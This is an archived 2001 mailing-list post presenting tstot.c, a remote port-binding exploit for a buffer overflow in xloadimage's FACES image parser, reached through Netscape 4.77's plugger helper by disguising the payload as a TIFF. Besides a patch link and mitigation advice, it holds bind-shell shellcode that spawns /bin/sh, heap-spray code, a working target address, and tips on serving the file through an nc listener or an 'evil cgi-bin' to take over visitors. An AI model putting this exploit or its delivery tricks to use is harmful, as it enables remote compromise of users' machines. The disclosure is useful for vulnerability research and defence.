xloadimage remote exploit - tstot.c

From: zen-parse@gmx.net
Date: Tue Jul 10 2001 - 11:58:48 CEST

  • Next message: Thomas Biege: "SuSE Security Announcement: xli/xloadimage (SuSE-SA:2001:024)"

    // tstot.c

    /************************************************************************
                           zen-parse presents
                 tstot.c - remote portbinding exploit for
                             RedHat 7.0
                           Netscape 4.77
                         xloadimage-4.1-16

                      tt sssss tt ooooo tt
                 tttttttt ss tttttttt oo oo tttttttt
                    tt ssss tt oo oo tt
                   tt ss tt oo oo tt
                  tt ssss tt ooooo tt

            xloadimage has a remotely exploitable buffer overflow.

    Advisory sent to Redhat :Wed Jun 27
    Errata released by Redhat :Mon Jul 9

    *************************************************************************
                 FIX: apply the patches given in
             http://www.securityfocus.com/archive/1/195792

    and (in my opinion, see under the general warning)

    disable xloadimage from being used as a helper application for Netscape
    by changing the line /etc/pluggerrc that reads
            exits: xloadimage -quiet -windowid $window $file
    into
    # exits: xloadimage -quiet -windowid $window $file

    or remove that line.

    *************************************************************************

    /usr/X11R6/bin/xloadimage is a plugin, used by Netscape 4.77 (at least?),
    via /usr/lib/netscape/plugins/plugger.so, to display certain types of
    images (TIFF and Sun Rasterfile formats, as the setup in /etc/pluggerrc
    has by default) in the Netscape browser window.

    The problem is, xloadimage has an exploitable overflow in the handling of
    FACES format images. How does that affect us? We are only using this
    program to view TIFF and Sun Rasterfile types, aren't we? Yes... but
    the browser only bases the file type on the type its told by the webserver
    and the webserver only (tends to?) base what type of file it is by the
    extension.

    So pipe the output to a file called image.tif and put it on the server,
    and reference it in a webpage. The server, when sending the file, does
    exactly what it should, and sends to Netscape the header

    Content-Type: image/tiff

    which causes Netscape to look up in its internal tables, and see that this
    type is handled by plugger.so.

    Netscape then calls the plugger.so handler, which looks up it's table, and
    consulting /etc/pluggerrc sees:

    image/tiff: tiff,tif: TIFF image
    image/x-tiff: tiff,tif: TIFF image
    image/sun-raster: rs: SUN raster image
    image/x-sun-raster: rs: SUN raster image
            exits: xloadimage -quiet -windowid $window $file
            exits: display -window $window -backdrop $file

    "Ok," it thinks, "I'm going to open up a TIFF image from $file with
    xloadimage in $window. Not a problem."

    Then it inserts the filename (which Netscape passes it, and points to a
    file in the Netscape cache) and the windowid (which it was also passed by
    Netscape) into the command and launches it.

    xloadimage analyses the file, and determines that the file is actually a
    32x32 8-bit grayscale Faces Project image, and not a TIFF image as the
    http header and the extension of the file says, and continues to open it.

    Then it launches our shellcode, due to a silly coding error.
    **********************************************************************
    (BUFSIZ is 8192)

    ...
      char fname[BUFSIZ];
      char lname[BUFSIZ];
      char buf[BUFSIZ];
    ...
        if (!strncmp(buf, "FirstName:", 10))
          strcpy(fname, buf + 11);
        else if (!strncmp(buf, "LastName:", 9))
          strcpy(lname, buf + 10);
    ...
      fname[strlen(fname) - 1]= ' ';
      strcat(fname, lname);
      fname[strlen(fname) - 1]= '\0';
    ...

    **********************************************************************

    Because the overflow happens remotely, and its not easy to guess what the
    user on the other end has in their environment jumping back into the stack
    seems like it could be a bad idea.

    So I jump into the middle of the malloced code.

    This may be a little risky, because the malloc() addresses do vary over
    different machines with different updates, and I can't really ask them
    what versions of stuff they are running (except Netscape itself) so I pad
    the heap with a large amount of jump/nop code before the overflow happens,
    and jump into where there should be something (The short jmps are to jump
    over the garbage between the chunks.)

    0x080e1337 is around the middle of the area on my machine, and has
    worked on a different machine as well, and it is also a 31337 address
    to jump to ;]

    If this doesn't work, it would be possible to increase the garbage
    size so the target is bigger still by inserting a few more copies of
    the lines between the // ...Garbage... lines.

    There is of course the chance that the return address will land
    between the padding, but thats life, isn't it?

    In case you don't get it, 0xdeadbeef is for testing and the kiddies.

    How to test:

    bash-2.04$ make tstot
    cc tstot.c -o tstot
    bash-2.04$ ./tstot >tstot.tif
    bash-2.04$ ls -al tstot.tif
    -rw-r--r-- 1 evil evil 75707 Jun 27 16:53 tstot.tif
    bash-2.04$ gdb -q xloadimage
    (no debugging symbols found)...(gdb) r evil.tif
    Starting program: /usr/X11R6/bin/xloadimage evil.tif
    (no debugging symbols found)...(no debugging symbols found)...
    evil.tif is a 32x32 8-bit grayscale Faces Project image
    (no debugging symbols found)...
    Program received signal SIGSEGV, Segmentation fault.
    0xdeadbeef in ?? ()
    (gdb)

    (another way of launching the exploit if you want is:

    bash-2.04$ ./tstot something|nc -l -p 9876
    and make a refresh in your html to it...

    <META HTTP-EQUIV="Refresh" Content="1;url=http://youraddress:9876/">

    This could also be made into an evil cgi-bin that checks for a
    (potentially) vulnerable machine before firing it to them, and then
    connects to the listening port and 0wns them with a local exploit.

    The general warning:
     A program doesn't have to be setuid to cause problems. It just has
     to be run in a context that the exploiter wants to be able to execute
     code in.

     Just because the program you write is not going to be setuid, doesn't
     mean one day someone isn't going to use it some otherway where it is
     running with privileges that someone else wants.

    ************************************************************************/

    Another warning:
     It is ALOT easier to write an exploit for something if you have
     the source code. (This is an example of the kind of code you end
     up with if you are too lazy to do a 5 minute websearch for the code,
     and a few minute download.) Oh yeah... there are probably other holes
     as well.

    [zen@clarity /tmp]$ ./mutater xloadimage merp.jpg 21 21 255
    -offset 21 -value 255-
    jpegLoad: tmpfile-merp.jpg - Corrupt JPEG data: 67 extraneous bytes before marker 0xdb
    tmpfile-merp.jpg is a 80x40 JPEG image, color space YCbCr, 3 comps., Huffman coding

    An internal error (SEGV) has occurred. If you would like to file a bug
    report, please send email to jimf@centerline.com
    with a description of how you triggered the bug, the output of xloadimage
    before the failure, and the following information:

    Xloadimage Version 4.1

    Built by: Red Hat
    Built on: Jun 28 2001
    Build system: redhat.com
    Server: The XFree86 Project, Inc Version 3360
    Depths and visuals supported:
    16: TrueColor

    (mutater is just a script which changes the values over a range of
    offsets to a range of offsets)

    I still really recommend that you remove the xloadimage thing from your
    /etc/pluggerrc file.

    I haven't really looked into how exploitable it is.
    There are many kinds of files it xloadimage accepts as input, and
    alot of them can be SEGV'ed with a one byte modification to the file.
    Someone with a better understanding of the image formats than I do
    might be able to work out a way to exploit one of them.

    Disclaimer:
     Not all of this information is accurate. Not all of this information
     is useful. Not all of this information has been released through the
     correct channels. Not all of this information is necessarily safe for
     public consumption, but from my experience script kiddies don't like to
     read details, especially in something this long.

    -- zen-parse

    ************************************************************************/
    //#define TARGET 0x080e1337
    //as 1337 as the 1337357 kiddies.
    #define TARGET 0xdeadbeef

    // lamagra's port binding shell code (from bind.c in the sc.tar.gz)
    //
    char lamagra_bind_code[] =
      "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
      "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
      "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1d\x29\x89\x4d\xf0"
      "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
      "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
      "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
      "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
      "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

    // slight modification so it listens on 7465 instead of 3879
    // TAGS is easier to remember ;]

    char *
    this (int doit)
    {
      char *p;
      int v;
      p = (char *) malloc (8200);
      memset (p, 0x90, 8200);
      if (!doit)
        for (v = 0; v < 8100; v += 122)
          {
            p[v] = 0xeb;
            p[v + 1] = 120;
          }
      if (doit)
        memcpy (&p[7000], lamagra_bind_code, strlen (lamagra_bind_code));
      p[8199] = 0;

      return p;
    }

    main (int argc)
    {
      int z0, x = TARGET;
      int z1, y = x;
      int p;
      char *q;
      if (argc > 1)
        printf ("HTTP/1.0 200\nContent-Type: image/x-tiff\n\n");
      printf ("FirstName: %s\n", this (0));
      printf ("LastName: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
      printf ("%s\n", &x);
    // Begin Padding Heap With 'Garbage' (nop/jmp)
      printf ("%s", this (0));
      printf ("%s", this (0));
      printf ("%s", this (0));
      printf ("%s", this (0));
      printf ("%s", this (0));
      printf ("%s", this (0));
    // End Padding Heap With 'Garbage' (nop/jmp)
      printf ("%s", this (1));
      printf ("http://www.mp3.com/cosv");
      printf ("\nPicData: 32 32 8\n");
      printf ("\n");
      for (p = 0; p < 9994; p += 1)
        printf ("A");
    }

    // EOF -- tstot.c --



    This archive was generated by hypermail 2b30 : Tue Aug 14 2001 - 22:27:20 CEST